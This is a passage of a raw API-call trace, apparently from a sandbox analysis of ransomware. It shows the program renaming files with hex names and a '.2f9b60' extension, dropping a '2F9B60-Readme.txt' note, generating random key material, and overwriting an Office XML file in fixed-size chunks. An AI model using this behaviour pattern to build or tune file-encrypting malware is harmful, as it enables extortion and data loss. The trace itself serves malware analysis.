BaseAddress=0x1b82bf40) returned 1 [0199.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x71) returned 0x42061fb0 [0199.824] sprintf (in: _Dest=0x42061fb0, _Format="%c%c" | out: _Dest="c9") returned 2 [0199.824] sprintf (in: _Dest=0x42061fb2, _Format="%c%c" | out: _Dest="24") returned 2 [0199.824] sprintf (in: _Dest=0x42061fb4, _Format="%c%c" | out: _Dest="55") returned 2 [0199.824] sprintf (in: _Dest=0x42061fb6, _Format="%c%c" | out: _Dest="c2") returned 2 [0199.824] sprintf (in: _Dest=0x42061fb8, _Format="%c%c" | out: _Dest="5f") returned 2 [0199.824] sprintf (in: _Dest=0x42061fba, _Format="%c%c" | out: _Dest="2f") returned 2 [0199.824] sprintf (in: _Dest=0x42061fbc, _Format="%c%c" | out: _Dest="42") returned 2 [0199.824] sprintf (in: _Dest=0x42061fbe, _Format="%c%c" | out: _Dest="f2") returned 2 [0199.824] sprintf (in: _Dest=0x42061fc0, _Format="%c%c" | out: _Dest="b6") returned 2 [0199.824] sprintf (in: _Dest=0x42061fc2, _Format="%c%c" | out: _Dest="4a") returned 2 [0199.824] sprintf (in: _Dest=0x42061fc4, _Format="%c%c" | out: _Dest="91") returned 2 [0199.824] sprintf (in: _Dest=0x42061fc6, _Format="%c%c" | out: _Dest="ef") returned 2 [0199.824] sprintf (in: _Dest=0x42061fc8, _Format="%c%c" | out: _Dest="4b") returned 2 [0199.824] sprintf (in: _Dest=0x42061fca, _Format="%c%c" | out: _Dest="28") returned 2 [0199.825] sprintf (in: _Dest=0x42061fcc, _Format="%c%c" | out: _Dest="6a") returned 2 [0199.825] sprintf (in: _Dest=0x42061fce, _Format="%c%c" | out: _Dest="fa") returned 2 [0199.825] sprintf (in: _Dest=0x42061fd0, _Format="%c%c" | out: _Dest="12") returned 2 [0199.825] sprintf (in: _Dest=0x42061fd2, _Format="%c%c" | out: _Dest="56") returned 2 [0199.825] sprintf (in: _Dest=0x42061fd4, _Format="%c%c" | out: _Dest="59") returned 2 [0199.825] sprintf (in: _Dest=0x42061fd6, _Format="%c%c" | out: _Dest="bd") returned 2 [0199.825] sprintf (in: _Dest=0x42061fd8, _Format="%c%c" | out: _Dest="91") returned 2 [0199.825] sprintf (in: _Dest=0x42061fda, _Format="%c%c" | out: _Dest="7c") returned 2 [0199.825] sprintf (in: _Dest=0x42061fdc, _Format="%c%c" | out: _Dest="6d") returned 2 [0199.825] sprintf (in: _Dest=0x42061fde, _Format="%c%c" | out: _Dest="6f") returned 2 [0199.825] sprintf (in: _Dest=0x42061fe0, _Format="%c%c" | out: _Dest="4e") returned 2 [0199.825] sprintf (in: _Dest=0x42061fe2, _Format="%c%c" | out: _Dest="6a") returned 2 [0199.825] sprintf (in: _Dest=0x42061fe4, _Format="%c%c" | out: _Dest="ec") returned 2 [0199.825] sprintf (in: _Dest=0x42061fe6, _Format="%c%c" | out: _Dest="ed") returned 2 [0199.825] sprintf (in: _Dest=0x42061fe8, _Format="%c%c" | out: _Dest="41") returned 2 [0199.825] sprintf (in: _Dest=0x42061fea, _Format="%c%c" | out: _Dest="79") returned 2 [0199.825] sprintf (in: _Dest=0x42061fec, _Format="%c%c" | out: _Dest="a7") returned 2 [0199.825] sprintf (in: _Dest=0x42061fee, _Format="%c%c" | out: _Dest="51") returned 2 [0199.825] sprintf (in: _Dest=0x42061ff0, _Format="%c%c" | out: _Dest="36") returned 2 [0199.825] sprintf (in: _Dest=0x42061ff2, _Format="%c%c" | out: _Dest="43") returned 2 [0199.825] sprintf (in: _Dest=0x42061ff4, _Format="%c%c" | out: _Dest="65") returned 2 [0199.825] sprintf (in: _Dest=0x42061ff6, _Format="%c%c" | out: _Dest="ee") returned 2 [0199.825] sprintf (in: _Dest=0x42061ff8, _Format="%c%c" | out: _Dest="aa") returned 2 [0199.825] sprintf (in: _Dest=0x42061ffa, _Format="%c%c" | out: _Dest="14") returned 2 [0199.825] sprintf (in: _Dest=0x42061ffc, _Format="%c%c" | out: _Dest="bf") returned 2 [0199.825] sprintf (in: _Dest=0x42061ffe, _Format="%c%c" | out: _Dest="c4") returned 2 [0199.825] sprintf (in: _Dest=0x42062000, _Format="%c%c" | out: _Dest="be") returned 2 [0199.825] sprintf (in: _Dest=0x42062002, _Format="%c%c" | out: _Dest="76") returned 2 [0199.825] sprintf (in: _Dest=0x42062004, _Format="%c%c" | out: _Dest="07") returned 2 [0199.825] sprintf (in: _Dest=0x42062006, _Format="%c%c" | out: _Dest="2e") returned 2 [0199.825] sprintf (in: _Dest=0x42062008, _Format="%c%c" | out: _Dest="c3") returned 2 [0199.825] sprintf (in: _Dest=0x4206200a, _Format="%c%c" | out: _Dest="2d") returned 2 [0199.825] sprintf (in: _Dest=0x4206200c, _Format="%c%c" | out: _Dest="c5") returned 2 [0199.825] sprintf (in: _Dest=0x4206200e, _Format="%c%c" | out: _Dest="aa") returned 2 [0199.826] sprintf (in: _Dest=0x42062010, _Format="%c%c" | out: _Dest="7b") returned 2 [0199.826] sprintf (in: _Dest=0x42062012, _Format="%c%c" | out: _Dest="b2") returned 2 [0199.826] sprintf (in: _Dest=0x42062014, _Format="%c%c" | out: _Dest="6b") returned 2 [0199.826] sprintf (in: _Dest=0x42062016, _Format="%c%c" | out: _Dest="50") returned 2 [0199.826] sprintf (in: _Dest=0x42062018, _Format="%c%c" | out: _Dest="08") returned 2 [0199.826] sprintf (in: _Dest=0x4206201a, _Format="%c%c" | out: _Dest="53") returned 2 [0199.826] sprintf (in: _Dest=0x4206201c, _Format="%c%c" | out: _Dest="40") returned 2 [0199.826] sprintf (in: _Dest=0x4206201e, _Format="%c%c" | out: _Dest="aa") returned 2 [0199.826] RtlInitAnsiString (in: DestinationString=0x2d28fbc8, SourceString="c92455c25f2f42f2b64a91ef4b286afa125659bd917c6d6f4e6aeced4179a751364365eeaa14bfc4be76072ec32dc5aa7bb26b50085340aa" | out: DestinationString="c92455c25f2f42f2b64a91ef4b286afa125659bd917c6d6f4e6aeced4179a751364365eeaa14bfc4be76072ec32dc5aa7bb26b50085340aa") [0199.826] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d28fb98, SourceString="c92455c25f2f42f2b64a91ef4b286afa125659bd917c6d6f4e6aeced4179a751364365eeaa14bfc4be76072ec32dc5aa7bb26b50085340aa", AllocateDestinationString=1 | out: DestinationString="c92455c25f2f42f2b64a91ef4b286afa125659bd917c6d6f4e6aeced4179a751364365eeaa14bfc4be76072ec32dc5aa7bb26b50085340aa") returned 0x0 [0199.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1b7997f0 [0199.827] wcscat (in: _Dest=0x1cecfb00, _Source="c92455c25f2f42f2b64a91ef4b28" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\c92455c25f2f42f2b64a91ef4b28") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\c92455c25f2f42f2b64a91ef4b28" [0199.827] wcscat (in: _Dest=0x1cecfb00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\c92455c25f2f42f2b64a91ef4b28.2f9b60") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\c92455c25f2f42f2b64a91ef4b28.2f9b60" [0199.827] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\c92455c25f2f42f2b64a91ef4b28.2f9b60", NtPathName=0x2d28fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\c92455c25f2f42f2b64a91ef4b28.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xee) returned 0x1b78e580 [0208.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e580) returned 1 [0208.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309c8b0) returned 1 [0208.310] NtQueryInformationFile (in: FileHandle=0x1b80, IoStatusBlock=0x2d28fbd8, FileInformation=0x2d28fbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d28fbd8, FileInformation=0x2d28fbe8) returned 0x0 [0208.311] NtSetInformationFile (FileHandle=0x1b80, IoStatusBlock=0x2d28fbd8, FileInformation=0x2d28fbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfb00) returned 1 [0209.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7997f0) returned 1 [0209.801] FlushFileBuffers (hFile=0x1b80) returned 1 [0212.756] CloseHandle (hObject=0x1b80) returned 1 [0215.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x106f40 [0215.712] wcscpy (in: _Dest=0x106f40, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0215.712] wcscat (in: _Dest=0x106f40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\2F9B60-Readme.txt") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\2F9B60-Readme.txt" [0215.712] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\2F9B60-Readme.txt" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\2f9b60-readme.txt")) returned 0xffffffff [0215.712] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\2F9B60-Readme.txt" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32e4 [0220.264] WriteFile (in: hFile=0x32e4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2d28fa90, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2d28fa90*=0xba9, lpOverlapped=0x0) returned 1 [0223.972] CloseHandle (hObject=0x32e4) returned 1 [0224.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106f40) returned 1 [0224.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118d60) returned 1 Thread: id = 1894 os_tid = 0x1058 [0133.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107780 [0133.546] wcscpy (in: _Dest=0x107780, _Source="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" [0133.546] wcscat (in: _Dest=0x107780, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\" [0133.546] wcscat (in: _Dest=0x107780, _Source="*" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*" [0133.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce21050 [0133.546] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5620 [0133.547] wcscmp (_String1=".", _String2=".") returned 0 [0133.547] FindNextFileW (in: hFindFile=0x1ced5620, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.547] wcscmp (_String1="..", _String2=".") returned 1 [0133.547] wcscmp (_String1="..", _String2="..") returned 0 [0133.547] FindNextFileW (in: hFindFile=0x1ced5620, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0133.548] FindClose (in: hFindFile=0x1ced5620 | out: hFindFile=0x1ced5620) returned 1 [0133.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21050) returned 1 [0133.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0133.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac0b0) returned 1 Thread: id = 1895 os_tid = 0x105c [0133.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\bibform.xml")) returned 0x20 [0134.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML", dwFileAttributes=0x20) returned 1 [0135.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\bibform.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1cbc [0135.715] GetFileSizeEx (in: hFile=0x1cbc, lpFileSize=0x2d1df9c0 | out: lpFileSize=0x2d1df9c0*=91618) returned 1 [0135.715] SetFilePointerEx (in: hFile=0x1cbc, liDistanceToMove=0x165de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.715] ReadFile (in: hFile=0x1cbc, lpBuffer=0x2d1df940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d1df988, lpOverlapped=0x0 | out: lpBuffer=0x2d1df940*, lpNumberOfBytesRead=0x2d1df988*=0x4, lpOverlapped=0x0) returned 1 [0135.826] SetFilePointerEx (in: hFile=0x1cbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202677d0 [0135.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267890 [0135.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a70 [0135.826] NtQuerySystemTime (in: CurrentTime=0x2d1df880 | out: CurrentTime=0x2d1df880*=132462177410626000) returned 0x0 [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x5e69bdfa [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x241b230d [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x7a22194c [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x20efea44 [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x4d0f1f89 [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x89bcf63 [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x325860cb [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x3090dae5 [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x18053557 [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x7d2556cc [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x5b1c27b0 [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x71a5e1c1 [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x58ccc2af [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x55e4a66 [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x7f06c63 [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x2ff51aee [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x335fe55a [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x10b0ec59 [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x671eeb68 [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x7450963 [0135.826] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x9bcc8a2 [0135.827] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x14ca129e [0135.827] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x3e248d30 [0135.827] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x5408c738 [0135.827] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x538f617f [0135.827] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x5f386e37 [0135.827] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x100b9c0c [0135.827] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x4c3504b0 [0135.827] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x5656a920 [0135.827] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x7319f37c [0135.827] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x6b11e5cc [0135.827] RtlRandomEx (in: Seed=0x2d1df870 | out: Seed=0x2d1df870) returned 0x776c88b7 [0135.836] SetFilePointerEx (in: hFile=0x1cbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.836] ReadFile (in: hFile=0x1cbc, lpBuffer=0x2038a0b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2d1df8e0, lpOverlapped=0x0 | out: lpBuffer=0x2038a0b0*, lpNumberOfBytesRead=0x2d1df8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.002] SetFilePointerEx (in: hFile=0x1cbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0136.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420603b0 [0136.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20268010 [0136.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20268010) returned 1 [0136.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2039cd00 [0136.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20268010 [0136.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267980 [0136.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267980) returned 1 [0136.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420603b0) returned 1 [0136.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0136.004] WriteFile (in: hFile=0x1cbc, lpBuffer=0x2039cd00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2d1df8e0, lpOverlapped=0x0 | out: lpBuffer=0x2039cd00*, lpNumberOfBytesWritten=0x2d1df8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0166.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2039cd00) returned 1 [0166.109] SetFilePointerEx (in: hFile=0x1cbc, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.109] ReadFile (in: hFile=0x1cbc, lpBuffer=0x2038a0b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2d1df8e0, lpOverlapped=0x0 | out: lpBuffer=0x2038a0b0*, lpNumberOfBytesRead=0x2d1df8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0166.110] SetFilePointerEx (in: hFile=0x1cbc, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd979e0 [0166.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504490 [0166.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1f10 [0166.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1f10) returned 1 [0166.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2039cd00 [0166.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1f10 [0166.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2630 [0166.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2630) returned 1 [0166.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504490) returned 1 [0166.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd979e0) returned 1 [0166.113] WriteFile (in: hFile=0x1cbc, lpBuffer=0x2039cd00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2d1df8e0, lpOverlapped=0x0 | out: lpBuffer=0x2039cd00*, lpNumberOfBytesWritten=0x2d1df8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2039cd00) returned 1 [0187.142] SetFilePointerEx (in: hFile=0x1cbc, liDistanceToMove=0x129e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.142] ReadFile (in: hFile=0x1cbc, lpBuffer=0x2038a0b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2d1df8e0, lpOverlapped=0x0 | out: lpBuffer=0x2038a0b0*, lpNumberOfBytesRead=0x2d1df8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0190.530] SetFilePointerEx (in: hFile=0x1cbc, liDistanceToMove=0x129e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138bc0 [0190.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138bc0) returned 1 [0190.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b1ee50 [0190.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138bc0 [0190.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138bf0 [0190.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138bf0) returned 1 [0190.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.533] WriteFile (in: hFile=0x1cbc, lpBuffer=0x42b1ee50*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2d1df8e0, lpOverlapped=0x0 | out: lpBuffer=0x42b1ee50*, lpNumberOfBytesWritten=0x2d1df8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b1ee50) returned 1 [0205.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f440 [0205.314] SetFilePointerEx (in: hFile=0x1cbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.314] WriteFile (in: hFile=0x1cbc, lpBuffer=0x1cebd3f0*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x2d1df990, lpOverlapped=0x0 | out: lpBuffer=0x1cebd3f0*, lpNumberOfBytesWritten=0x2d1df990*=0x148, lpOverlapped=0x0) returned 1 [0208.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616f0 [0208.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff400 [0208.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff400) returned 1 [0208.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d520 [0208.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff400 [0208.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff460 [0208.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff460) returned 1 [0208.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0208.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d8b0 [0208.755] sprintf (in: _Dest=0x1ce5d8b0, _Format="%c%c" | out: _Dest="42") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8b2, _Format="%c%c" | out: _Dest="02") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8b4, _Format="%c%c" | out: _Dest="3e") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8b6, _Format="%c%c" | out: _Dest="22") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8b8, _Format="%c%c" | out: _Dest="44") returned 2 [0208.756] sprintf (in: 